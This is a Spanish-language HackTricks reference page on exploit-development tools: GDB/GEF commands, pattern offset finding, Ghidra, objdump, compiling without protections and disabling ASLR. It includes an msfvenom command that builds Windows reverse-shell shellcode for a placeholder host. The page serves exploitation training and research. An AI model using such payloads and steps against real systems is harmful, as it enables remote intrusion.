hacktricks/binary-exploitation/basic-stack-binary-exploitation-methodology/tools

Herramientas de Explotación

{% hint style="success" %} Aprende y practica Hacking en AWS: HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

• Revisa los planes de suscripción!
• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
• Comparte trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.

{% endhint %}

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

Shellcodes

{% code overflow="wrap" %}

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

{% endcode %}

GDB

Instalación

apt-get install gdb

Parámetros

-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process

Instrucciones

run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit

# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process

# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes

# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate

# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP

GEF

Opcionalmente podrías usar este fork de GEF que contiene instrucciones más interesantes.

help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table

# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Dump memory to file
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

Trucos

Mismas direcciones en GDB

Mientras se depura, GDB tendrá direcciones ligeramente diferentes a las utilizadas por el binario al ejecutarse. Puedes hacer que GDB tenga las mismas direcciones haciendo lo siguiente:

• unset env LINES
• unset env COLUMNS
• set env _=<ruta> Coloca la ruta absoluta al binario
• Explota el binario utilizando la misma ruta absoluta
• PWD y OLDPWD deben ser iguales al utilizar GDB y al explotar el binario

Rastrear para encontrar funciones llamadas

Cuando tienes un binario enlazado estáticamente, todas las funciones pertenecerán al binario (y no a bibliotecas externas). En este caso, será difícil identificar el flujo que sigue el binario para, por ejemplo, solicitar entrada de usuario.
Puedes identificar fácilmente este flujo ejecutando el binario con gdb hasta que se te solicite la entrada. Luego, detenlo con CTRL+C y utiliza el comando bt (backtrace) para ver las funciones llamadas:

gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

Servidor GDB

gdbserver --multi 0.0.0.0:23947 (en IDA tienes que completar la ruta absoluta del ejecutable en la máquina Linux y en la máquina Windows)

Ghidra

Encontrar el desplazamiento de la pila

Ghidra es muy útil para encontrar el desplazamiento para una sobrecarga de búfer gracias a la información sobre la posición de las variables locales.
Por ejemplo, en el ejemplo a continuación, un desbordamiento de búfer en local_bc indica que necesitas un desplazamiento de 0xbc. Además, si local_10 es una cookie canary, indica que para sobrescribirla desde local_bc hay un desplazamiento de 0xac.
Recuerda que los primeros 0x08 donde se guarda el RIP pertenecen al RBP.

qtool

qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog

Obtener cada opcode ejecutado en el programa.

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> Compilar sin protecciones
-o --> Salida
-g --> Guardar código (GDB podrá verlo)
echo 0 > /proc/sys/kernel/randomize_va_space --> Desactivar ASLR en Linux

Para compilar un shellcode:
nasm -f elf assembly.asm --> devuelve un ".o"
ld assembly.o -o shellcodeout --> Ejecutable

Objdump

-d --> Desensamblar secciones ejecutables (ver opcodes de un shellcode compilado, encontrar ROP Gadgets, encontrar dirección de función...)
-Mintel --> Sintaxis Intel
-t --> Tabla de símbolos
-D --> Desensamblar todo (dirección de variable estática)
-s -j .dtors --> sección dtors
-s -j .got --> sección got
-D -s -j .plt --> sección plt descompilada
-TR --> Relocalizaciones
ojdump -t --dynamic-relo ./exec | grep puts --> Dirección de "puts" a modificar en GOT
objdump -D ./exec | grep "VAR_NAME" --> Dirección de una variable estática (almacenadas en la sección DATA).

Volcados de núcleo

1. Ejecutar ulimit -c unlimited antes de iniciar mi programa
2. Ejecutar sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t
3. sudo gdb --core=<path/core> --quiet

Más

ldd ejecutable | grep libc.so.6 --> Dirección (si hay ASLR, esto cambia cada vez)
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> Bucle para ver si la dirección cambia mucho
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> Desplazamiento de "system"
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> Desplazamiento de "/bin/sh"

strace ejecutable --> Funciones llamadas por el ejecutable
rabin2 -i ejecutable --> Dirección de todas las funciones

Inmunity debugger

!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA

Depuración en Linux remoto

Dentro de la carpeta de IDA puedes encontrar binarios que se pueden utilizar para depurar un binario en un sistema Linux. Para hacerlo, mueve el binario linux_server o linux_server64 dentro del servidor Linux y ejecútalo dentro de la carpeta que contiene el binario:

./linux_server64 -Ppass

Luego, configura el depurador: Depurador (remoto de Linux) --> Opciones del proceso...:

{% hint style="success" %} Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

• Revisa los planes de suscripción!
• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
• Comparte trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.

{% endhint %}